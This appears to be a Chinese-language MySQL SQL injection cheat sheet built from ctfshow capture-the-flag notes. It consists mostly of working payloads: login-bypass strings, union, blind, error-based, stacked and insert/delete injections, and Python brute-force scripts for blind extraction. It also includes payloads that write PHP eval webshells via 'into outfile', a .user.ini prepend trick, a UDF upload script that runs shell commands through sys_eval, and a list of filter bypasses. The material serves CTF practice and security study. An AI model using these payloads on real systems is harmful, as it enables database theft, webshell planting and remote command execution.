MySQL注入
如无特殊说明,本篇都是基于mysql数据库的注入
原型
//拼接sql语句查找指定ID用户
$sql = "select username,password from table_name where username !='flag' and id = '".$_GET['id']."' limit 1;";
PS:此语句中存在limit 1
即只回显一行
基本思路
用1'
闭合前面的语句,执行自己构造的语句
参考:
MySQL语法
表示注释:
#或%23:post请求中使用
–+或–%20:get请求中使用(+将被识别为空格)
基础查询语句:
查数据库名
select database();
查表名
select group_concat(table_name) from information_schema.tables where table_schema=database()/'数据库名'
查列名
select group_concat(column_name) from information_schema.columns where table_name='表名'
查字段
select group_concat(列名) from 表名
万能密码绕过
原理:使相关语句永真,使整段语句可执行即可,然后会返回所有结果
1'or 1 = 1#
1'or'1'='1
1'or'1'='1'%23
1"or 1 = 1#
此时
select username,password from user where username !='flag' and id = '1' or 1=1;
and优先级>or
即username !='flag' and id = '1' 或 1=1
F or T = T
md5加密:在下面这种情况下
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
可以使用ffifdyop
绕过:
因为数据库会把16进制转为ascii解释,而md5(ffifdyop)
的结果为276f722736c95d99e921722cf9ed621c
,会返回成一个16进制字符串,这个字符串16进制转换后的结果为'or'6É].é!r,ùíb.
,此时就提供了我们需要的'or'字符串
,实现了闭合,且后面的字符串将被视为 true,此时整个sql语句为
SELECT * FROM admin WHERE username = 'admin' and password = ''or'字符串'
语句永真
同样效果的还有:
129581926211651571912466741651878684928
更多的万能密码可以在网上找个爆破字典
注入位置
例:登录框,查询框
注入手法
数字型:当输入的参数为整型时,如果存在注入漏洞,可以认为是数字型注入(无引号闭合)
1
如果想传入字符串的话需要先转换为16进制
字符型:当输入的参数被当做字符串时,称为字符型(有引号闭合)
1'
或1"
联合查询注入
适用于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化
并集查询,可用于前面的语句查不到的情况
语句原型
union select column_name,column_name from table_name where column_name='flag'
步骤
1. 页面观察
2. 注入点判断
3. 判断当前表的字段个数:
?id=1' order by 3 --+
4. 判断显示位:判断我们的输入会在屏幕哪个地方进行回显
?id=-1' union select 1,2,3 --+ //=-1':(让前面的参数查不出来) //1,2,3:(总列数) //--+(注释)
5. 爆数据库名字
?id=-1' union select 1,database(),3 --+ //1:(头列数) //3:(尾列数)
6. 爆数据库中的表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()/'数据库名' --+
7. 爆表中的字段
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where (table_schema='数据库名' and) table_name='表名' --+
8. 爆相应字段的所有数据
?id=-1' union select 1,group_concat(字段名,'--',字段名,'--',字段名),3 from 表名 --+ ?id=-1' union select (select group_concat(字段名) from 表名)--+
盲注
SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,逐位爆破出我们需要的值,这个过程成为盲注
布尔盲注
测试回显语句
1'and if(1>0,1,0)#
1'and if(0>1,1,0)#
同或注入
1'and if(1!=!1,1,0)#
同或逻辑:
1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1
时间盲注
测试语句
1' and if(length(database())>1,sleep(5),1)#
堆叠注入
使用
;
执行多条sql语句
区别:联合查询注入只能执行查询语句,堆叠注入可执行任意语句(增删查改)
修改
rename…to…语句:可以重命名改表名,使表名可被直接查询到
alter:修改已知表的列。( 添加:add | 修改:alter,change | 撤销:drop )
type:指定字段的类型,如varchar(100)
、text
添加:
alter table "table_name" add "column_name" type;
删除:
alter table "table_name" drop "column_name" type;
改变数据类型:
alter table "table_name" alter column "column_name" type;
改列名:
alter table "table_name" rename "column1" to "column2";
预处理
利用字符串定义预处理 SQL (以直角三角形计算为例)
那么同样的,我们可以在预处理语句中构造payload来执行select语句
(以select * from `1919810931114514`为例)
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
- prepare…from…是预处理语句,会进行编码转换
- execute用来执行由SQLPrepare创建的SQL语句
- SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值
Sqlmap一把梭
自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等
提供5种注入方式:
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
- 联合查询注入,在可以使用Union的情况下注入
- 堆查询注入,可以同时执行多条语句时的注入
注意:python3.9以上需要自行搜索更改几个模块的名称才能使用sqlmap(对着报错文件全局找模块,请)
insert注入
插入从数据库中获取的信息
查询语句原型:
$sql = "insert into table_name(column_name1,column_name2) value('{$username}','{$password}');";
我们的目标是插入信息的同时要能够回显数据库里的内容,为此我们需要用\
对'
进行转义然后执行其它的语句
ctfshow web237
username=hello\&password=,database());#
# 查表名
username=hello\&password=,(select group_concat(table_name) from information_schema.tables where table_schema=database()));#
# 查字段
username=hello\&password=,(select group_concat(column_name) from information_schema.columns where table_name='flag'));#
# 查flag
username=hello\&password=,(select group_concat(flagass23s3) from flag));#
ctfshow web238
过滤空格包括所有的空格绕过方法,那就用括号闭合来代替(这里仅示例查表名)
password=,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#
update注入
利用update修改字段名的功能来注入查询语句,使其字段名能够返回我们需要的信息
delete注入
删除语句
$sql = "delete from ctfshow_user where id = {$id}";
我们虽然不能直接通过这个语句来获取数据库的信息
但是在这个语句中我们可以输入if(2>1,sleep(0.2),1)
进行时间盲注
ctfshow web241
from time import sleep
import requests
url = "http://1a2a5437-423f-4c06-9d47-5ac94a1871f2.challenge.ctf.show/api/delete.php"
result = ''
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'"
# 爆字段值
payload = "select flag from `flag`"
for i in range(1, 50):
head = 32
tail = 127
while head < tail:
# sleep(0.8)
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
# print(mid)
data = {
'id':
f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.01),-1)#",
}
try:
r = requests.post(url, data, timeout=0.2)
tail = mid
except:
head = mid + 1 #sleep导致超时
if head != 32:
result += chr(head)
print(result)
else:
break
报错注入
通过可以让sql出现报错的语句额外执行查询来实现获取信息
注:报错长度最长是32,所以要用substr
或者substring
或者not in
等函数去截取
updatexml
原理:updatexml()
函数实际上是去更新了XML文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入特殊字符,然后就 因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码
作用: 改变文档中符合条件的节点的值
updatexml(1,concat('^',(需要查询的内容),'^'),1) --+
ctfshow web244
查数据库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
查表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
查列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e),1)--+
查字段
?id=1' and updatexml(1,concat(0x7e,(select flag from ctfshow_flag),0x7e),1)--+
截取
?id=1' and updatexml(1,concat(0x7e,substr((select flag from ctfshow_flag),32,20),0x7e),1)--+
extractvalue
extractvalue (目标xml文档,xml路径)
对XML文档进行查询的函数,从目标XML中返回包含所查询值的字符串
利用方法和updatexml类似
ctfshow web245
表名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
列名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa')))--+
字段
?id=1' and extractvalue(1,concat(0x7e,(select flag1 from ctfshow_flagsa)))--+
截取
?id=1' and extractvalue(1,concat(0x7e,(substr((select flag1 from ctfshow_flagsa),32,20))))--+
group by
原理参考这篇csdn的文章
原因是group by
在向临时表插入数据时,由于rand()
多次计算导致插入临时表时主键重复,从而报错,
又因为报错前concat()
中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果
select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a;
这种报错方法好像没限制长度(?
注:floor
(向下取整)可以也替换成ceil
(向上取整)
ctfshow web246
表名
注:这里不能用group_concat
来合并查询结果而只能用limit
,因为查询出来的内容不止一行
?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+
列名
?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+
字段
?id=1' union select 1,count(*),concat((select flag2 from ctfshow_flags),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+
join
参考文章:http://www.wupco.cn/?p=4117
可以在过滤了column的时候利用
在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错
select name from test where id=1 and (select * from (select * from test as a join test as b) as c);
可以把当前表第一个字段成功爆出
同时利用using可以爆其他字段
select name from test where id=1 and (select * from (select * from test as a join test as b using(id)) as c);
limit注入
版本限制(5.0.0-5.6.6)
联合查询法
limit前面无order by
时
SELECT * from user LIMIT 1,1 union select * from user
procedure analyse()函数
是MySQL提供的一个分析结果集的接口,以帮助提供数据类型优化建议
它会给出这个表上的详细统计信息
报错注入法
payload from p神
procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
时间注入法
group by注入
先看这两条查询语句的差别
select username,count(*) from user group by username;
第一条查询语句原因是由于group by在分组时,会依次取出查询表中的记录并创建一个临时表(表中有两个字段,分别是key和count(*)
),group by的对象就是该临时表的主键。
如果临时表中已经存在该主键,则count(*)
的值+1,如果表中不存在则将主键插入到临时表中
select username,count(*) from user group by "username";
第二条group by的对象是一个字符串“username”,对于字符串来说,group by 在进行分组时,会直接将该字符串当做主键插入到临时表中,如果临时表中存在该主键,则count(*)
的值+1。
轮到第二条数据时也是将字符串当做主键插入到临时表,但此时临时表中已经存在该主键,则count(*)
的值直接加1
也就是说所有行会被分为同一个分组,无论它们的实际值如何
但是在实际使用中第二种方法往往会产生报错
时间注入法
ctfshow web222
查询语句
$sql = select * from ctfshow_user group by $username;
其中username是可控的,我们可以通过concat(if(1=1,username,cot(0)))
进行盲注
import requests
import string
url = "http://8e37d4f0-1263-493e-8122-78d259f16285.challenge.ctf.show/api/"
result = ''
dict=string.ascii_lowercase+string.digits+"_-}{"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
# 爆字段值
payload = "select flagaabc from ctfshow_flaga"
for i in range(1,46):
for j in dict:
s = f"?u=concat(if(substr(({payload}),{i},1)='{j}',username,cot(0)))#"
r = requests.get(url+s)
if("ctfshow" in r.text):
result +=j
print(result)
break
布尔注入法
ctfshow web223
url='http://4cc7e20c-d356-4c50-b6d3-ab9282a09438.challenge.ctf.show/api/'
import requests
result=''
i=0
def getnumber(i):
num='true'
if num == 1:
return num
else:
for i in range(i-1):
num+='+true'
return num
while True:
i+=1
head=1
tail=127
while head<tail:
mid=(head+tail)>>1
# payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{getnumber(i)},true))>{getnumber(mid)},username,true)"
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{getnumber(i)},true))>{getnumber(mid)},username,true)"
payload = f"if(ascii(substr((select flagasabc from ctfshow_flagas),{getnumber(i)},true))>{getnumber(mid)},username,true)"
data={
"u":payload
}
r=requests.get(url,params=data)
if "passwordAUTO" in r.text:
head=mid+1
else:
tail=mid
if head!=1:
result+=chr(head)
print(result)
else:
break
报错注入法
select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));
可以用来爆出数据库的名称
floor(rand(0)*2)
产生的随机数前6位一定是 0 1 1 0 1 1concat()
用于将字符串连接concat(database(),floor(rand(0)*2))
生成database()+"0"或database()+"1"
的数列,而前六位的顺序一定是
database()+"0"
database()+"1"
database()+"1"
database()+"0"
database()+"1"
database()+"1"
报错具体过程:
- 建立临时表
- 取第一条记录,执行
concat(database(),floor(rand(0)*2))
(第一次执行),结果为database()+“0”
,查询临时表,发现database()+"0"
这个主键不存在,则准备执行插入,此时又会在执行一次concat(database(),floor(rand(0)*2))
(第二次执行),结果是database()+“1”
,然后将该值作为主键插入到临时表。(真正插入到临时表中的主键是database()+“1”,concat(database(),floor(rand(0)2))
执行了两次) - 取第二条记录,执行
concat(database(),floor(rand(0)2))
(第三次执行),结果为database+“1”
,查询临时表,发现该主键存在,count(*)
的值加1 - 取第三条记录,执行
concat(database(),floor(rand(0)*2))
(第四次执行),结果为database()+“0”
,查询临时表发现该主键不存在,则准备执行插入动作,此时又会在执行一次concat(database(),floor(rand(0)*2))
(第五次执行),结果是database()+“1”
,然后将该值作为主键插入到临时表。但由于临时表已经存在database()+"1"
这个主键,就会爆出主键重复,同时也带出了数据库名
注:由以上过程可以发现,总共取了三条记录,所以表中的数据至少要为三条才可以注入成功
finfo文件注入
finfo类
其中有方法open
,file
finfo_open:也就是finfo::open的别名,这个函数的作用是打开一个文件,通常和finfo::file/finfo_file
在一起使用
finfo_file:返回一个文件的信息
<?php
var_dump((new finfo)->file('1.txt'));
// 等价
$file=finfo_open(FILEINFO_NONE);
var_dump(finfo_file($file,'1.txt'));
那么只要我们精心构造上传文件的内容,闭合前面的语句来执行sql创建文件的语句,就能实现写入一句话木马getshell
ctfshow web224
扫出robots.txt,访问/pwdreset.php重置密码为admin,登录进入上传界面
而我们要做的是通过写入一句话木马getshell,而常见的图片后缀都被过滤了,这里需要上传bin文件才能实现我们的目的
关键payload:
');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+
这样直接上传是不会解析执行的,所以我们还需要添加脏字符使其执行
然后就能成功写入一句话木马
file注入
存在into outfile
函数上传文件时,如果存在注入点,可以导入一句话或者上传页面
ctfshow web242
原型语句
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
先看一下into outfile
函数有什么参数(图 from Boogipop)
SELECT * INTO OUTFILE '/tmp/result.txt'
FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n'
FROM table_name;
starting by
是每行开始,terminated by
是每行结束
LINES TERMINATED BY
:结束后添加一个语句,也就是字段间的间隔符
OPTIONALLY ENCLOSED BY
:要和LINES TERMINATED BY
一起使用,将字段用什么包裹起来
到这里我们就知道可以插入一句话木马来实现getshell
filename=1.php' FIELDS TERMINATED BY '<?php eval($_POST["cmd"]);?>'#
.user.ini和短标签绕过
ctfshow web243
过滤php的情况下,就按照文件上传的几个trick来打就行
filename=1.txt' FIELDS TERMINATED BY '<?=eval($_POST["cmd"]);?>'#
因为.user.ini是配置文件,所以我们可以构造;
和换行符%0a
来注释多余字符
filename=.user.ini' lines starting by';' terminated by '%0aauto_prepend_file=1.txt'#
quine注入
自产生程序,不接受输入并输出自己的源代码
在sql注入中,就是让输入的sql语句与要输出的一致
要实现输入语句与输出语句一致,那就需要用到replace
函数进行重复替换
基本形式
replace(str,编码的间隔符,str)
其中参数str的形式为
replace(间隔符,编码的间隔符,间隔符)
例:间隔符为”.
“,编码间隔符为CHAR(46)
,这样str就是
select REPLACE(".",CHAR(46),".");
构造出来的结果就是
select REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');
但是此时可以发现单双引号还没实现一致
这时候就需要使用REPLACE
将str
的双引号换成单引号,这样最后就不会出现引号不一致的情况了
因此升级版Quine的基本形式,CHAR(34)
是双引号,CHAR(39)
是单引号
REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')
升级版str的基本形式
REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")
先将str里的双引号替换成单引号,再用str替换str里的间隔符
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
UDF注入
udf 全称为:user defined function,意为用户自定义函数
用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact()
,user()
,version()
等函数
写入位置:/usr/lib/MySQL目录/plugin
具体步骤:
将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib/plugin文件夹下),udf文件可以从sqlmap里面扒,也可以在国光的博客里面扒https://www.sqlsec.com/tools/udf.html,一般选lib_mysqludf_sys_64.so就可以了
从udf文件中引入自定义函数(user defined function)
执行自定义函数
create function sys_eval returns string soname 'hack.so'; select sys_eval('whoami');
ctfshow web248
因为get请求有长度限制,所以这里得分段来传
把国光博客里的payload中0x后面的16进制值填到下面脚本的udf变量中就可以了
import requests
url="http://17c12732-3a13-4af4-8750-f614f00d0519.challenge.ctf.show/api/"
udf=""
udfs=[]
for i in range(0,len(udf),5000):
udfs.append(udf[i:i+5000])
#写入多个文件中
for i in udfs:
url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23"
requests.get(url1)
#合并文件生成so文件
url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23"
requests.get(url2)
#创建自定义函数并执行恶意命令
requests.get(url+"?id=1';create function sys_eval returns string soname 'hack.so'%23")
r=requests.get(url+"?id=1';select sys_eval('cat /f*')%23")
print(r.text)
限制绕过
位数长度不足
使用截断函数
- substr()函数
substr(string,start,length)
left()函数
获得源字符串左边的子串
left(string,n)
right()函数
获得字符串右边的子串
right(string,n)
mid()函数
返回字符串的子串(类似substr)
mid(string,start,length)
reverse()函数
输入过滤
空格:
/**/
、%09
、%0a
、%0d
、%0c
、+
、%a0
以上全部过滤:直接用括号或反引号闭合
如
-1'||column_name='flag
或-1'or(username)='flag
等号:like
or:
||
单独select: 大写
select…where…:
show + datebases / tables / columns from table
将 select * from 列名 进行16进制编码
handler:一行一行显示库中内容
handler table_name open as `a`;(`a`为新创建的表) handler table_name read;读出什么输出什么 handler tablename read first [where username=‘admin’]; handler `a` read next [where username=‘admin’]; – [] 中的内容意味着可加可不加
单字段过滤:16进制编码
hex(a.username)
过滤payload中的引号:
unhex()
和hex()
组合绕过‘abc’ 等价于
unhex(hex(6e6+382179))
; 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i
)
具体转换的步骤是:- abc转成16进制是616263
- 616263转十进制是6382179
- 用科学计数法表示6e6+382179
- 套上unhex(hex()),就是unhex(hex(6e6+382179));
过滤数字:
用别的字符替换数字然后再转换回去
-1'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','arc'),'2','brc'),'3','crc'),'4','drc'),'5','erc'),'6','frc'),'7','grc'),'8','hrc'),'9','irc'),'0','jrc'),'a' from table_name where username='flag'--+
解密脚本
flag='flag'
#flag表示number
flag=flag.replace('arc','1')
flag=flag.replace('brc','2')
flag=flag.replace('crc','3')
flag=flag.replace('drc','4')
flag=flag.replace('erc','5')
flag=flag.replace('frc','6')
flag=flag.replace('grc','7')
flag=flag.replace('hrc','8')
flag=flag.replace('irc','9')
flag=flag.replace('jrc','0')
print(flag)
过滤ASCll码/[\x00-\x7f]/i
:
文件包含
' union select 1,group_concat(password) from table_name into outfile '/var/www/html/1.txt'-- -
将flag写入1.txt文件中
-1' union select 1,"<?php eval($_POST[1]);?>" into outfile'/var/www/html/1.php
写入一句话木马(需用base64编码+from_base64() )
在/var/www/html/api/config.php找到mysql的root的密码